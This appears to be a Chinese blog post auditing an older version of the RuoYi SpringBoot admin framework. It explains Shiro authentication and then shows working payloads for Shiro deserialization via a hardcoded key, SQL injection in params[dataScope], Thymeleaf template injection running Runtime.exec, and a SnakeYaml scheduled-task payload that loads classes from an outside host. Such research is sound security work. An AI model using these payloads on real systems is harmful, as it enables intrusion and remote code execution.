继续审计框架源码,这次审计若依的一个比较老的版本,它是一个基于SpringBoot的权限管理系统,采用该站点的系统还是挺多的,所以研究这种大型,大众化的框架漏洞还是比较有价值的。

若依采用的核心技术:

  1. SpringBoot
  2. Mybatis
  3. Shiro
  4. Thymeleaf
  5. Bootstrap

0x01 前言

该框架有很多模块,后端代码目录介绍如下

几个模块的依赖关系如下

所以application 启动类在 admin 模块里。启动成功后游览器访问就是一个后台登录页面。

若依中shiro的权限问题

权限管理采用了shiro框架,首先需要看看若依中的shiro是如何管理登录和限制权限的。

登录的控制器方法如下:

账号密码为参数生成一个token对象,这里有shiro的关键标志,就是remberMe。然后调用 getSubject方法获取一个主体。那什么是Subject主体主体,若依的官方文档是这么说的:

Subject主体,代表了当前的“用户”,这个用户不一定是一个具体的人,与当前应用交互的任何东西都是Subject

然后就调用它的 login 方法

这里会调用 securityManager 类的 login 方法

安全管理器 SecurityManager

与Subject的所有交互都会委托给SecurityManager;可以把Subject认为是一个门面;SecurityManager才是实际的执行者
SecurityManage安全管理器;即所有与安全有关的操作都会与SecurityManager交互;且它管理着所有Subject; 可以看出它是Shiro的核心,它负责与后边介绍的其他组件进行交互

跟进到 authenticate 方法,在这里

它获取到一个 realms

Realm域,Shiro从Realm获取安全数据(如用户,角色,权限),就是说SecurityManager要验证用户身份, 那么它需要从Realm获取相应的用户进行比较以确定用户身份是否合法;也需要从Realm得到用户相应的角色/权限进行验证用户是否能进行操作

可以说是用它来做登录认证的。

最后就会调用到 自定义的 UserRealm 类的 doGetAuthenticationInfo 方法

到这就走到了 service 层的 login 方法,后续就是正常的验证过程,没必要跟了。

我们在控制器中经常会看到这种注解

用于做权限管理的,在UserRealm 类也有这方面的体现

admin 角色是拥有所有权限的,体会到了权限管理的一种思想。

0x02 初步审计

看一下依赖库中有什么组件

fastjson 版本太高了,可能会存在漏洞。

刚才提到过的 shiro,拿到了源代码,可以去看看密钥是否硬编码。

可能会有模板注入,具体的还需要全局搜索漏洞函数。

该版本存在反序列化的漏洞,就看是否能找到反序列化点了。

值得我们去研究的依赖就这么多,接下来看看过滤器,过滤器中没有去权限验证的代码,因为shiro 已经做了,该框架就只有一个针对于防范XSS攻击的过滤器。

用 EscapeUtil 工具类去防御这个xss,看看写的正则匹配规则。

看样子过滤的很死。

0x03 漏洞审计

1. shiro反序列化

找找该框架的密钥,可以搜索 setCipherKey 等关键字

这里直接定位到 cipherKey 了。

固定的key,能打,那就直接可以一把梭了,上工具。

命令执行成功,这也就是唯一不需要登录后台getshell的漏洞了。

2. SQL注入

使用的Mybatis,那么直接搜索${}就好了。

这个地方会造成一个sql语句的拼接,回溯 selectUserList 方法来到控制层。

这里要求传递的是一个javabean,传递的参数就是javabean的属性,最重要的是需要传参params[‘dataScope’],还有就是需要登录后台。

POC:

http://localhost:8080/system/user/list
POST:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

3. Thymeleaf模板注入

本框架采用的是 Thymeleaf 模板引擎去渲染模板,Thymeleaf 模板注入漏洞存在形式分为:

return 内容可控,URL路径可控,还有模板文件内容可控。全局搜索 ::”,

找到一处,在CacheController控制器

输入如下POC:

__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

成功弹出计算器。

4. 计划任务RCE

本来这用的是SnakeYaml 反序列化来打,全局搜索 Yaml.load 方法是搜不到的,它这里是反射调用任意类的任意方法。这里先复现一下漏洞。

在后台系统监控中有一个定时任务,添加一个定时任务

在目标字符串添加 SnakeYaml 反序列化 的payload

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://1d60a57d72.ipv6.1433.eu.org."]]]]')

点击执行一次。

收到DNS解析记录。

抓包看它的路由是在 /monitor/job/run,对应控制器代码如下

但是我跟调走不到调用函数那一块,就只看到了将任务加入到调度器里用于某时刻触发立即执行。调试到第二个流才到 invokeMethod 方法里,但是判断它这个立即触发的代码还没找到。

解析我们输入的字符串,提取JavaBean类,方法,以及参数值

这里就正常的反射获取方法并调用,实际上就是调用了 Yaml.load 反序列化方法。能不能调用Runtime.exec方法直接执行命令呢?

通过调式不行

在这里会报错,因为 java.lang.Runtime 没有公共的无参构造方法,所以会抛出异常。

0x04 结语

该版本的若依就分析到这,只有一个shiro能够前台rce,并且很容易修复,权限管理的很死,几乎都没有能够不登陆的状态下能够访问的路由,可能也是因为若依是后台管理系统的缘故吧。

参考链接:

https://blog.csdn.net/qq_44029310/article/details/125296406

https://blog.csdn.net/Michelle_Zhong/article/details/116396364

https://blog.csdn.net/lizhiyuan_eagle/article/details/125643597

https://blog.csdn.net/m0_71692682/article/details/130538310